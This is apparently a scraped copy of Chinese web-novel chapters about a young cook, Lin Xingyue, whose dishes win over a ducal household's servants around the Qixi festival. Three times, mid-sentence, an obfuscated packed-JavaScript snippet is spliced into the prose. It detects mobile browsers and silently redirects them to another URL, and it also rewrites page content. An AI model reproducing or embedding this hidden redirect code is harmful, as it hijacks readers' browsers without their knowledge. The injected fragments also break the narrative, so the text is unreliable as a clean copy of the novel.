胡娘子脸一红,平日里小厨房也就赵嬷嬷手艺好一些,可她要管的事情不少,一般都是董婆子带着她们这些人动手做。 加上大厨房董顺家给她们的食材都不怎么好,做出来的吃食自然就不好吃。 胡娘子心里有些担心,回去就和林杏月商量,“咱们人少了,要不还像以前随便糊弄一下得了。左右府里的人也知道咱们人少,来吃东西的怕是不多。” 林杏月想了想,还是不愿意随便糊弄,恰好想到了以前吃过的竹筒爆米来。 “那竹筒爆米简单,味儿却香的很。” 小厨房原来就有干竹筒,虽然新鲜的更好,不过这时候没有多余的人手再去砍竹子,把那干竹筒浸泡一下,依旧可以用。 里面填上粟米,有竹节的那一段放在火上,倾斜的放进去,只等着香味传来,再一个个取下来,竹筒会自然爆开,露出里面的粟米。 胡娘子有些不确定,“这样做出来真行?” 林杏月笑了笑,“自然成的,你且瞧好了。” 胡娘子如今对林杏月可是信服的很,她让拿了竹筒来,便跟着其他小丫鬟一块儿去搬了好些个干竹筒,先浸泡在水里。 捞出来之后,表面擦干,里面填上一小半的粟米,就放在了火上烘烤。 差不多半盏茶的时间,小厨房里就闻到了一股淡淡的竹子香。 趁着这个时候,林杏月就去准备晌午要用到的吃食。 胡娘子在切菜的时候,还时时刻刻的看着竹筒,等到竹筒表面流出来微褐色的汁液,赶紧把林杏月叫来。 “这差不多就要成了。” 林杏月就守在这炉子旁边,待竹子快要爆开的时候,迅速地把它们一个一个拿了出来。 即便是这样,拿出来的竹筒要想打开,还是要用刀背轻轻的沿着纹路敲打一下,里面爆米才会自然剥落开。 经过这么长时间的炙烤,满屋子都是新鲜的竹子清香,胡娘子说不出来是什么味道,总觉得闻起来就像下雨之后的竹林。 等一个个的竹筒敲开,爆裂开的粟米就成一种金灿灿的颜色,让人看着就有食欲。 有了先前试吃的经验,胡娘子和辛嫂子都一人拿了一个,抢先尝了尝那竹筒爆米的味道。 最外面的粟米有的还带着些许稻壳,吃起来带着一些谷物焦化之后的烟熏感,里面有一些没有爆开的整粒,吃起来的口感就是糯糯甜甜。 两个人忍不住的点起头来,“这还是头一次吃这爆米,味道果然好吃。” “不仅好吃,还稀奇着嘞!” “这是用粟米做出来的,要是换成别的米,做出来的味道又不同。” 胡娘子和辛嫂子两个人,对林杏月的手艺佩服的五体投地,听见她说吃经,都在那里认真听着。 一点儿也没有因着林杏月年纪小,就看轻了她。 等到了吃早食的点,早早就有不少丫鬟婆子过来排队。以往总是来小厨房吃饭的人发现,最近要是来的迟了,吃食还不够他们吃。 有一个老汉,姓冯,就在那里抱怨,“原先只想着小厨房做的吃食好一些,如今做的吃食好了,可东西又不够咱们吃。” 同他搭话的是个婆子,看着好几个主子院子能数得上的丫鬟婆子也过来,眼睛都快粘在她们身上,随意的瞥了一眼老汉,“总比那难以下咽的好,你且瞧瞧,这些从前眼高手低的,如今不是也乖乖的过来。” 婆子往那边努了努嘴,老汉就看到了何娘子院子里的小梅。 “还有那边,可是大老爷身边跑腿儿的小牛子?” “哎哟哟,我还看见了三娘子身边的一个小丫鬟。” 平安和徐柏还在当差,两个人没法过来,就找了一个还没留头的小厮,叫小牛子的帮着跑腿。 两个人可是在房里翘首以盼,不知道今儿个能做出来什么好的吃食。 小梅也踮着脚往前看,她和半荟一早就约好了过来,那碗豆粥是让她对小厨房吃食有了改观,可也不知道是不是总是如此。 要是好一阵歹一阵,还和从前一样,她索性就不去前头排队。 半荟看到了是从竹筒里拿出来的东西,心情就激动起来,“是之前没看过的吃食,肯定是那月姐儿做的。” 一说这个,排队的人就都高兴起来,都开始说起来那竹筒拿出来的东西。 “是粟米!虽然竹筒做的吃食新鲜,怎么里面用的还是粟米。” 粟米他们可太熟悉了,那味道吃起来,怎么也不能和别的精细粮食比。 有人立刻失望了起来。 “有什么吃什么。”前面排队的黄婆子最听不得这个,“小厨房倒是想做了好的吃食来给咱们,那也要有这些东西才行。” 董顺家的日常苛刻就不少,恨不得粟米里掺着石头沙子来充数。 黄婆子的话说完,那边徐勇就应和了一声,两个人对视一眼,就都笑了出来。 好的厨娘可不挑食材,恰好林杏月就有这样的本事。 这次排在最前面的是大小王嬷嬷,胡娘子看见他们俩,麻利的给了俩人一个竹筒。 大王嬷嬷拿了也不走,想伸手再朝胡娘子要一个。 依照前几次的经验,今儿个吃食也是那月姐儿做出来的,味道既然好,要是不多拿一些,一会儿再想吃的话肯定就没了。 胡娘子不给,“咱们小厨房人少,都去大厨房帮忙了,能做出来这么些个已是不易,每人只能吃一个竹筒爆米。” “只能吃一个?”后面的人纷纷开口说话,“这也太少了些。” “就是,只是一个怎么够。” 说了几句,大家就又把矛头转向了大厨房和董顺家的,嫌她不做人。 松姐儿去大厨房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230520|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,一路都还撅着嘴,一来是因为林杏月不用去,她反而得过去帮忙干活。 二来就是,这几天吃不着林杏月做的吃食了。 她虽然总和林杏月较着劲,但吃了葱油面和豆粥之后,也知道她手艺很是不错。 也不知道小厨房今儿个要做了什么出来,会不会给她留着。 这样想着,倒有些羡慕留下来烧火的小云了。 小云这几天一直被林杏月投喂着,外头排队的人只有一个竹筒爆米,小厨房的人一下子就给小云留了两三个,让她慢慢吃。 小云一只在旁边烧火,一只手还在那里啃着苞米吃。 看林杏月的眼神也是亮晶晶。 外面的人虽然抱怨,可领竹筒苞米的时候一个也没落下,挨挨挤挤的排着队过来。 徐勇和黄婆子两个人都是不怕烫的,拿了竹筒爆米就开始吃,待粟米和竹子的清香在嘴里爆开,两个人都同时喟叹了一声。 也有慢条斯理吃着的,小梅和半荟还有那三娘子房里的碧儿,都是先吹上几口气,等没有那么烫了才下嘴。 “我头一次知道这粟米的味道也这样好。” “可就是呢,我看着月姐儿的手艺,别说是粟米了,就没有她做不出来好吃的。” “昨天我还听到几个人过去找月姐儿,说要买她做的腌菜,我当时还犹豫了一下。” 这时候想起来,可不就是后悔的很。 也不知道还能不能再让月姐儿做一些。 平安和徐柏两个人一直翘首以盼,终于看到小牛子提着食盒回来,两个人赶紧和福生顺子说了一声,回了屋子。 福生和顺子也没在意,他们两个稍微大一些,看徐柏和平安总像是看小孩一样。 “今儿个我姐姐做了什么吃的?”徐柏一进屋,就问了那小牛子。 小牛子虽然没留头,口角也是个伶俐的,先说了是竹筒苞米,又活灵活现的把在小厨房的时候看到人满为患的情景说了出来。 “好长时间不去小厨房,还以为哥哥叫我去的时候是听差了,等到了那里才知道还是我眼界小。” 这小牛子在回来的路上就已经尝了那竹筒爆米的味道,可是香的很。 再一想,之前隐隐约约听到府里下人们说的那些话,还有什么不明白的。 徐柏的嘴角高高的翘起,就像是夸他一样,自豪的说,“也不看看是谁做的,我姐姐手艺是真没话说。” 这边徐柏和小厮说着话,那边平安已经开了竹筒吃起来,金黄油亮的粟米被他吃下去之后,味道一点点在嘴里化开,只恨就这么一个。 “要是让我放开了吃,十个八个我也是能吃下的。” 平安吃了一半的时候,就目光灼灼的盯着徐柏眼前的竹筒爆米,徐柏一眼就看出来他在想什么,赶紧把竹筒往自己身边拢了拢。 “这是我的,你可别打什么歪主意。” 平安幽幽的叹了一口气,“也不知道什么时候才轮到咱们两个休假,到时候也好去找找咱姐。” “总要七夕过去了才行。” 徐柏想着七夕过了,林杏月那边应该就不会那么忙,到时候他也好出门去找她,哪怕拿些腌菜回来。 19. 第十九章 大厨房也在咚咚地忙碌着,有做巧果的,也有给各个房里的主子们做着吃食。 这几天因为做巧果的事情,来大厨房找他们开小灶的丫鬟们少了许多,一些婆子挣不着私房钱,脸色就不好看。 等小厨房的人一来,他们忙把做巧果的活计分了出去,也不像以往那样用鼻孔看人,说话都和气了不少。 赵嬷嬷和里头不少人是老相识,做活的时候难免就聊了起来,就有人说起来他们小厨房最近闹出来的事情。 “我也听说那什么葱油面,真有那么好吃不成?” 赵嬷嬷才点了头,那边就有婆子讥笑,“又不是什么好东西,不过是个葱油面,想着也是用那葱榨的油出来,配了索饼而已。” 这婆子说的倒是不错,只是说话的语气让人听了不快,赵嬷嬷还没说什么,松姐儿就在一旁翻了个大大的白眼。 她虽然和林杏月不对付,可葱油面那么好吃,她也不愿意让人贬低了去。 明明就是好吃的很,在这些鼻孔看人的婆子眼里,就成了上不得台面的事情。 松姐儿有平春撑腰,说话就有些无所顾忌,直接道:“你没吃过,怎知不好吃?不会是吃不到葡萄,才说葡萄酸的吧?” 这婆子被一个小丫鬟这样下脸面,脸色也阴沉下来,刚要发作起来,那边李妈妈就插了话。 李妈妈虽然不是总管,可大厨房案头上的事儿也一应管着,加上她手艺好的很,那是老太太都夸过的。 不过这人嘴巴太大,只要让她听了的话,保准闹得人尽皆知。 她也知道自个儿的毛病,老太太那边的小灶间她就不去凑热闹,在这大厨房干得很自在。 她咳了一声,就说起来浆洗房的钱婆子,“那寡妇成日里妖妖娆娆,听说最近却收了心,好似找了个下家。” 一听这个,干活的就都竖起了耳朵,听李妈妈细细的说下去。 董婆子趁这时候拉了松姐儿一下,让她别在大厨房惹麻烦。 松姐儿撇撇嘴,没有再吭声,脑子里又不由自主的想到林杏月在小厨房要做的吃食。 过了一会儿,她又想起来什么,压低声音去和董婆子说话,“可千万别告诉她,我帮着她说话来着。” 说这话的时候,松姐儿脸还微微有些发红,觉得不好意思。 以往七夕头这几天,府里的丫鬟婆子都比往常要辛苦一些,不仅是活计更累,也是因为小厨房的人总会被借调去大厨房。 往常人手够的时候,做出来的吃食尚且如此,等人少了一大半,小厨房更是力不从心。 可今年和以往却大不相同,小厨房出了个手艺十分好的林杏月,用的食材见不得多好,但做出来的吃食却让人闻着就垂涎三尺。 “真真再没有这样好的日子了。”小王嬷嬷和大王嬷嬷感慨,“竟还有几分想着七夕不要过去。” 大王嬷嬷不爱说话,看表情和小王嬷嬷想的却是一样,就这么几天,两个人脸色都比以往红润了不少。 同样面色红润的还有平安和徐柏,林杏月后来知道那个没留头的小牛子是给这两人送饭的,每次都会特意多留出来一些。 这俩人吃的是肚儿滚圆,和苦哈哈的福生顺子一对比,简直不知快活多少。 福生和顺子比这俩人年岁要大,互相对视了一眼,就趁着天黑的时候把他们堵在了屋子里。 大老爷和大娘子的事情还没闹清,加上七夕的时候,西府要过来人,再有宫里的娘娘们也会差遣人来送东西,他们忙的是脚打后脑勺。 福生是最年长,他用下巴示意了一下,让顺子先开口。 “我记得你俩的月钱都送回了家,这几天也不见你们从外面叫了吃食来,是怎么吃饭的?” 顺子一开口,徐柏和平安两个人就嘿嘿笑了起来,两个人是个促狭的,只说是从小厨房叫了吃的来。 他们也不告诉顺子小厨房做的吃食多好,只看得顺子和福生一脸狐疑和不信。 “你们两个可别蒙我,要真是犯了什么不好的事儿,回头让管家知道了,你们可吃不了兜着走。” “真是冤枉!咱们两个就是让那小厮去小厨房叫了吃的来,不过是这几天差事太重了,吃什么都觉得香。” 顺子看了福生一眼,就去外头叫了小牛子过来,果然和徐柏平安说的一般无差。 回头,顺子和福生还嘀咕,“徐柏也就罢了,那平安却是个馋的,真的就老老实实去小厨房叫了吃的?” “兴许真就像他们说的,俩人手里没钱了,这才老老实实的去小厨房。” 顺子说完,总觉得哪里不对。 何娘子院子里的小梅,这几天吃的也面色红润,不去外头叫闲汉送吃的,她还省了一大笔钱。 这些钱她回头就去外面买了两只花戴,倒是看着人俏丽了不少。 王妈妈这几天日子可不好过,随着七夕越来越近,她嘴里的口疮可是越来越多,到了每日只能喝些水来充饥的地步。 府里各处的事情,还都需要何娘子这个管家来过目,王妈妈眼见着就消瘦了下去。 这日,王妈妈从外头回来,就瞧见了小梅在院子里当值,从前她没见小梅这样水灵灵,乍然一看,倒是多瞅了几眼。 小梅胆子不大,立刻低下头叫了声妈妈,以为自个是犯了什么事。 王妈妈却没说其他的,反而夸了她收拾的整齐,“瞧着也比之前精神了不少。” 得了王妈妈的夸奖,小梅整个人都激动起来。 何娘子院子里一应事情,都是王妈妈在管,要是入了她的眼,说不得就能往上升一升。 回头她就去找了半荟,把这好事儿和她说了。 “说起来,我也瞧着你这几日面色好了许多。” 小梅摸了摸自己的脸,让半荟打了一盆水,对着照了照。 “是瞧着比之前圆润了一些。”小梅不好意思的笑了笑,“说起来,还是因为吃了那月姐儿做的吃食,比我之前吃过的都香的很。” 小梅和半荟嘴也被养刁了,想着七夕马上就到了,小厨房的人要回来,也不知道还能不能吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230521|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到林杏月做的饭。 “到时候实在不行,咱们就去找她开小灶。” 半荟是个有主意的,想着这么多人都愿意吃林杏月做的饭,小厨房的人应当还会让她掌灶。 三娘子最近这几天一直有些怏怏的,过了七夕,她就要及笄了,到时候府里就会给她相看人家。 大娘子嫁得高,西府的二娘子也嫁得高,都成了宫里的娘娘。 偏到她这里的时候,老太太发了话,倒不用专门挑了门第更高的人家去选。 三娘子本来也不觉得如何,可她上头两个姐姐的身份摆在那里,她的婚事并不好找。 加上老太太说的那些话,三娘子心里更加不得劲。 这样说,不过是因为她不是大娘子生的,看不上她。 可纵然别的能改了,或者学了去,可这出身却不是她能想如何就如何的。 她这样,院子里的一应丫鬟婆子也都收了笑脸,伺候的更加小心。 大厨房天天送过去的吃食,三娘子都没什么胃口,每次都吃上那么几筷子,剩下的全都赏了下面的人。 就连碧儿这样的小丫鬟也得了上头的赏。 要是以往,碧儿看到这些她从来没见过的吃食,早就欢欣得不行,哪里像现在这样,竟然看着还没有小厨房那个月姐儿做出来的好吃。 “你当真不吃?别是被那月姐儿下了蛊,这可是大厨房给三娘子做的饭菜,小厨房就是拍马也追不上。” 和她一个屋子的丫鬟问她,碧儿平日闷声不响,和她这些丫鬟走的并不近。 那丫鬟也是想和她多些来往,这才问出口。 碧儿想了想,上去夹了一筷子大厨房做出来的菜色,尝了尝。 吃完,她就摇了摇头,“我还是吃从小厨房打回来的饭菜吧。” “你真是傻了不成。” 其他丫鬟见碧儿这样,劝了几句不听,也就随她去了。 碧儿吃了一份不够,还把其他丫鬟的那些吃食也要了过来。 她打算一会儿回去,把这些带给自家表哥。 有一个年岁小一些的丫鬟,见碧儿吃得这么香,忍不住凑了过来,“真有那么好吃?” “你自个儿尝尝。”碧儿递给她一双筷子。 这小丫鬟已经吃了不少饭菜,肚子已经鼓了起来,有些犹豫地接过,浅浅的夹了一小口。 放进嘴里之后,小丫鬟立刻就看向了碧儿,一边咀嚼一边把其他丫鬟叫过来。 “真真好吃!” “原来碧儿不是个傻的,咱们才是个傻的。” “真的假的?”一听这么说,就有丫鬟也凑了过来,“快让我也尝一尝。” “我也要尝上两口。” 之前还被小丫鬟们追捧的大厨房做出来的吃食,一下子就无人问津了。 “这个叫月姐儿的,手艺还真是不错。” “怪道这几天,老看到有人在那里嘀嘀咕咕,原来说的就是小厨房做出来的吃食。” “不行,回头我也得去小厨房吃饭。” 20. 第二十章 七夕头一天,去小厨房帮忙的这些人就都回来了,她们接连做了好多天的巧果,回来的时候也没空着手。 大厨房做出来的巧果味道还行,赵嬷嬷就让大家伙都分一分,“回去也讨个彩头。” 又说了小厨房留下的这些人辛苦,“我们也都听说了,日日来咱们这里吃饭的人,都要排老长一个队。” 赵嬷嬷平日里很少夸人,能从她嘴里听到这样的话,胡娘子、辛嫂子都十分的高兴。 “咱们也都是打下手,做什么吃食还是听月姐儿的。” 董婆子听这些人夸林杏月,心里稍微有些不得劲,从前小厨房做的这些吃食,都是她和赵嬷嬷来掌勺,也没见她们这样。 赵嬷嬷手艺不错,要不是因为她不愿意去大厨房,早就被李妈妈要了过去。 这么想着,倒显得她一个人手艺不好。 松姐儿在一旁神色也不大好看,要是以往,董婆子就会上前拦一拦,不让她说出什么难听的话来。 这次她却没有伸手,想着挫一下林杏月的锐气也好。 松姐儿果然不负她希望的开了口,不过她却出乎董婆子的意料,没有说林杏月如何如何,只是埋怨那些好吃的没有给她留。 “我可都听说了,你们这几天日日都做了新花样了,我都没有尝过。” 说完,就一脸幽怨的看着林杏月。 董婆子恨铁不成钢,用手指点了点松姐儿的额头,“说得这几天亏了你似的,咱们在大厨房吃的也不赖。” 说话的时候,董婆子斜了一眼去看林杏月,把这几天吃的就都说了出来,“什么羊汤灌肺、羊骨面,一应都吃了。” 她想着,这么说出来的话,留在小厨房的这些人应该羡慕不已,那可都是实打实的肉。 可除了认真听她讲话的小云之外,胡娘子和辛嫂子都没露出什么羡慕的表情。 就好像,那些羊汤灌肺什么的,都不是个稀罕的东西了。 董婆子气结,干脆扭过了脸不去看她们。 赵嬷嬷没理会董婆子,说了让林杏月回家休息一天,“左右七夕我们都在。” 林杏月没客气,这几天一直在小厨房忙来忙去,她还真的打算好好的休息一下,冯大娘的笋子都挖回来不少,她们家的灶间都堆了好几堆。 这些毛竹笋子可不都是冯大娘挖的,她就算是有了长进,那也不会一下子这么能干。 不过是吹了牛皮出去,说林杏月的手艺多好,要做了糟笋干下酒。 园子里的这几个婆子都爱喝酒,以前冯大娘和她们没少一块儿喝,后来林杏月管着冯大娘,她才不敢吃太多。 几个婆子一听,都说要尝尝糟笋干的味道,“咱们这边还没见有人卖过,你家月姐手艺好,做出来可要让咱们尝一尝。” 冯大娘说完就去挖笋子,几个婆子互相对视了一眼,再一想冯大娘最近这么反常,老往园子里跑,能让她干活这样踊跃,指不定还真是能做出来好吃。 她们可是都见识了林杏月的手艺。 “咱们帮你一块挖,到时候别忘了给咱们尝一尝味道。”元婆子带头说。 “左右咱们闲着也是闲着。”曹婆子附和,也拿起了锄头。 于是,挖出来的笋子就有这么许多,这些婆子还帮着冯大娘送到了家里,催着她尽快让林杏月做出来。 “我都和她们吹了大话,说你手艺好才这样,你不给我们做,她们背地里都笑话我。” 冯大娘催林杏月做的时候,语气里还带着几分委屈。 林杏月倒是没有再为难冯大娘,保证道:“今儿个正好有空,一会儿就来做。” 七夕这天,董婆子早早的就去了小厨房,想着今天林杏月休息,她怎么也要趁着这个时候,大展拳脚,把她给比下去。 小厨房很快就升起了炊烟,董婆子指使着松姐儿把面团揉好,一会儿她要炸了馓子出来,做馓子羹。 胡娘子知道了,就说董婆子这是要把看家本领都拿出来了。 董婆子听了一时就有些得意起来。 这馓子是用面粉做成条,再下锅油炸制成,那汤底也是用了鸡骨熬制成清汤,再放入笋丝、香蕈等一些时蔬,拿了绿豆粉进行勾芡,汤汁也就会变得浓香顺滑。 起锅之前,把掰碎的馓子放到碗里,一勺汤羹浇下去,馓子和汤汁一下子就交融起来。 董婆子这样做,为的是什么,小厨房的几个人都清清楚楚。 只是没想到,林杏月就让她这样的上心。 胡娘子和辛嫂子挤了挤眉眼,辛嫂子有些担心,“你说会不会真把月姐儿比下去,毕竟她年纪尚小。” 胡娘子却一点也不担心,“要真是那样的话,月姐儿之前就不会出头了,你且等着便是。” 辛嫂子将信将疑,看着那馓子羹熬好之后,外面排队的人越来越多,就和胡娘子一块儿端着东西往外走。 打头的依旧都是些老熟人,胡娘子和辛嫂子最近可是经常见他们。 “今儿个这是做的什么?闻起来竟然香得很。” 小王嬷嬷一说出口,后面的人就互相推搡着往前看去。 徐勇使劲用鼻子闻了闻,刚想说话,就看见了站在不远处的董婆子。 他一拍脑门,突然想起来今儿个林杏月休假。 “这不是我家月姐儿做的吧!” 徐勇这话一说出口,引得好几个婆子丫鬟都看了过来。 就连匆匆赶来的冯老汉也是,他擦了擦额头上的汗,“今儿怎么不是月姐儿做吃食,你们小厨房好不容易有个手艺不赖的,怎么还让她闲着呢?” 胡娘子说话不客气,“这几天可是忙忙碌碌干了好久,你们倒是还有休息的时候,怎么也不想想我们小厨房的人,就得累死不成?” 都这样说了,其他人就算想说上几句,也就没有再开口。 想着那董婆子好歹也是在小厨房待了多少年的老人,今儿个做的吃食,闻起来味道还是不错。 这样一想,大家伙就乖乖地排起队来。 董婆子从刚才开始,就不知道为什么提着一口气,这时候看到排队的人没有少,才稍微松了几分。 赵嬷嬷就在她后头不远处站着,看见就叹气,上去劝董婆子,“咱们都一把老骨头了,徒弟都快出师,何必这样?” 董婆子这时候觉得自个儿左右已经赢了,虽然也没人和她比较,可她心里的那口气舒畅了不少,顺着赵嬷嬷的话就说道,“说的也是,咱们都是小厨房的,他们得了脸,也是咱们得了脸。” 排在最前头的那些人都已经有了馓子羹,还有的吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230522|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取了先前的教训,要了两碗。 只有徐勇和黄婆子两个人要了一碗,端着碗又坐到了一块儿。 “这么好的东西,要是月姐儿来做的话,不知道有多香!” 黄婆子压低了声音,和徐勇在那边嘀咕。 徐勇也这样觉得,明明这馓子羹可是好东西,可他却总觉得少了些什么。 吃了一口,不知道是馓子炸得偏软,还是放在汤底的时间太长了,变成了软趴趴的一团,吃起来不再是咯吱咯吱脆的。 他啧了一声,正好黄婆子也尝完,两个人的目光又撞在了一起。 “真是浪费了好东西。” 大小王嬷嬷要了两碗,刚开始喝第一碗的时候,觉得味道还行,不知是鸡汤骨熬得太油腻了,还是馓子本身就油炸过,喝完之后只觉得嘴里胃里都油乎乎的。 再看徐勇和黄婆子,这俩人不过吃了一碗,就起身走了,当下就后悔起来。 等看到熟悉的人的时候,小王嬷嬷就把那一碗还没有喝过的馓子羹递了过去,“你们就喝我这个,也不用再去排队。” “这真是太阳打西边出来了,平时喝你一口东西,你们两个宝贝得和什么一样,这时候怎么愿意拿出来了。” 那人就狐疑地盯着那馓子羹,在想着刚才听说的,这不是那什么月姐儿做的,是董婆子掌的勺。 他一拍大腿,“是不是这馓子羹不好吃,你们才打算给我的?” 一石激起千层浪,他嗓门本来就大,这下子可不少人都听见了。 “也不能说不好吃,反正就没有预想中那么好吃。” “可是呢,也不知道月姐儿什么时候回来,就是清汤寡水的,咱也吃得有滋有味。” 董婆子不知道这些人在外面说什么,只得意洋洋地在小厨房里和松姐儿炫耀自己的手艺。 她还给松姐儿画大饼,“只要你好好学,回头我就把这馓子羹的做法教给你。” 松姐儿刚才就被指使着去炸馓子,这时候胳膊都是酸的,再一喝那馓子羹,就像是喝了一碗油一样,一点也不清爽可口。 她一言难尽地看了看,到底没敢说出来什么,生怕董婆子不高兴。 过了吃晌午饭的时候,胡娘子和辛嫂子才抬着东西过来,以往要是林杏月做的饭时,端出去多少,回来都是空荡荡的。 这次却还剩着不少的馓子羹。 董婆子一看,眼睛都直了,“你俩是不是不舍得给人打,怎生剩这么多?” 馓子倒是没剩什么,后来有的人不愿意喝那羹汤,只拿了这馓子走。 “瞧你这话说的,好似咱们专门这样做一样。” 胡娘子直接怼了回去,“以往好些个人都会要上两碗,今天只要上一碗,这和咱们有什么关系?” 辛嫂子见董婆子一脸震惊受不住的样子,赶紧安慰了一句,“主要这馓子羹油水大,吃上一碗也就饱了。” 可不就是油水大,才让人觉得腻歪,吃不下去。 要是按照董婆子以往的做法,绝不可能为了让它香,就放那么多油。 只是一想到要比过林杏月,这才手里没了顾忌,做出来反而不好吃。 虽然没人说什么,可董婆子却觉得脸像火烧一样,背过身去忙活晚上的吃食,却怎么也提不起精神。 21. 第二十一章 七夕这天,国公府里按照惯例请了几个姻亲家的女娘过来,宫里也会来人送些娘娘的赏赐物。 何娘子以往都只让王妈妈过来大厨房,今儿也往大厨房来了一趟,看了看要用的菜色。 大厨房的人对何娘子都有些看不上,董顺家的回话的时候都是一副趾高气昂的模样,回头还和人嘀咕说何娘子那样的出身,能不能看懂要上的菜色都不知。 何娘子也不是看不出来,她倒是没有生气,旁边王妈妈却气的眼睛都凸出来,在心里把董顺家的使劲给记了一笔。 林杏月也是这两天才知道,国公府其他姻亲也就罢了,只那西府和宫里来的人,却是万万不能让他们挑出错的。 不然老太太那边就不会轻饶了去。 何娘子就是这样想的,大厨房的人再看不上她,也不敢让老太太和大娘子脸面没地方放,不去管也无妨。 再说那天老太太给的罗缎,巧燕知道何娘子没有挂起来之后,不知道怎么和老太太说的,后来又开了库房,拿了料子没有再给何娘子,直接找了几个下人过去给挂上了。 大朗君是后来知道的,还去找何娘子理论了一番,何娘子不知道他发的什么火,要说是为了宋小娘过来也就罢了,还能说句孝顺。 可宋小娘被大娘子叫去立规矩的时候,大朗君是连句话也没说,如今倒来说她用了罗缎的事情。 何娘子任由大朗君发完火,看着他出了门子才悠闲的躺回去。 王妈妈着急,苦口婆心的劝何娘子,“万一大朗君去找了其他小娘,回头闹到咱们跟前如何是好?” 何娘子闲闲的吃着太原葡萄①,原先在家的时候她可吃不到这么新鲜的葡萄,见王妈妈着急,递了个葡萄过去,让她没事少操心。 王妈妈就是着急也没有办法,嘴上的口疮又多长了几个,哪里敢吃葡萄,扎的她嘴还疼。 忙忙碌碌一早上,快巳时才吃上早食,歇了没多大会儿,听说前面就有客家过来。 董顺家的一直在打听,回来就嘟囔西府离得这样近,反而来的最晚,有些太拿自己当回事了。 剩下的人没一个开口的,董顺家的以为她们都不敢,越发得意起来。 今儿吴娘子穿了一身窄袖短衣,外面搭了对襟长衫,依稀能看到里面束裙的绢带上面还缀了不少的珍珠,每颗都差不多大小,表面光滑细腻,一看就是好东西。 她头上梳的是高冠发髻,用的山口冠,上面金银珠玉、鲜花一应俱全,把她衬得眉目如画。 何娘子站在她旁边,反而没有长嫂风范,只梳了一个简单的云髻,簪了几朵花,身上料子也比不过吴娘子。 吴娘子心里颇为得意,只是见西府的人一直不过来,她心里犯起嘀咕,觉得西府这是真把自己当客人了,这样太下她们的脸面。 吴娘子和何娘子来往不多,这时候见四下无人,忍不住凑过去和何娘子说小话,“莫非要等到晌午开饭的时候过来,怎么不干脆到晚上乞巧的时候再来,什么都要赶个好时候了?” 何娘子一来到这样人多的场合,就总想找个角落躲起来,一点也没有在自己的房里自在,吴娘子说什么她也只点头,弄得吴娘子很没有意思,干脆别过脸不去说。 好在西府的人终于姗姗来迟,西府钱大娘子穿得也十分正式,吴娘子总觉得她是把首饰匣子里的东西都戴在了头上,看着就觉得累得慌。 这么想着,吴娘子还是跟在何娘子身边上前行了礼,叫了一声大娘子。 “这么客气做甚?咱们自家人没有那么多虚礼,叫我妗母就是。” 何娘子附和的叫了一声,又和钱大娘子身后的几个妯娌见礼。 西府二老爷不是老太太生的,可偏二老爷生了个厉害的女娘,去见他们大房在宫里的娘娘时候,被圣上瞧上,也进了宫里。 西府一下子就得了势,要不然也不会连七夕做客也敢这样怠慢。 何娘子和吴娘子两个人陪着她们进府,一路上都客气的笑着,偏快走到花厅的时候,西府二房的石娘子就开起玩笑来。 “大嫂子打扮的也太素净了些,难道大伯母不给咱们嚼用,没得这样寒碜。” 二房石娘子用的说笑语气,何娘子知道她不安好心,眉头皱起来一下,想了想还是不愿意在这时候起冲突,就打算忍一下。 左右也不会少一块儿肉吃。 吴娘子却听不下去了,她和何娘子虽然不对付,那也是自家府里的事情,什么时候轮到西府在这里挑拨离间,一群人还在这里看热闹。 她脾气自来是个急的,当即就回了嘴,“本来就是自家宴会,我大嫂觉得同你们亲近,不用过分,再者她还要管家,穿的累赘也不方便。” 吴娘子连带着把自己也说了进去,她却觉得没什么,看着西府的人一个个吃惊的样子,就觉得高兴。 何娘子偷偷笑了笑,上前拉了拉吴娘子的手。 吴娘子很不习惯何娘子这样,但也没有甩开,就这样两人拉着进了花厅。 周大娘子看到她们这样,眼神立刻狐疑起来,不过没有分太多的心,立刻就和钱大娘子打起来了机锋。 两人原本就因为一个大老爷和二老爷嫡庶的原因暗自较劲十几年,等西府的人借着周大娘子生出来的榴姐儿进了宫,也成了娘娘之后,更是达到了顶峰。 要说大娘子最恨谁,一个是生了大朗君的宋小娘,一个就是西府钱大娘子,那是做梦梦到她们两个,都要醒过来喊打喊杀一番的。 何娘子这一场宴会办的平平,挑不出什么差错,也没有什么心意,就是唱曲子的也是那么几首听惯了的。 唯一让人翘首以盼的,就是宫里两个娘娘赏下来的东西。 偏今儿个也不知道怎么的,宫里的人迟迟不来,就连周大娘子也坐不住了。 她和钱大娘子不对付,不愿意搭理她,就去问了老太太。 老太太一早过来就是兴致缺缺,见周大娘子这样没有个成算,不过晚来一会儿,就慌张成这个样子,就在心里又叹了一口气。 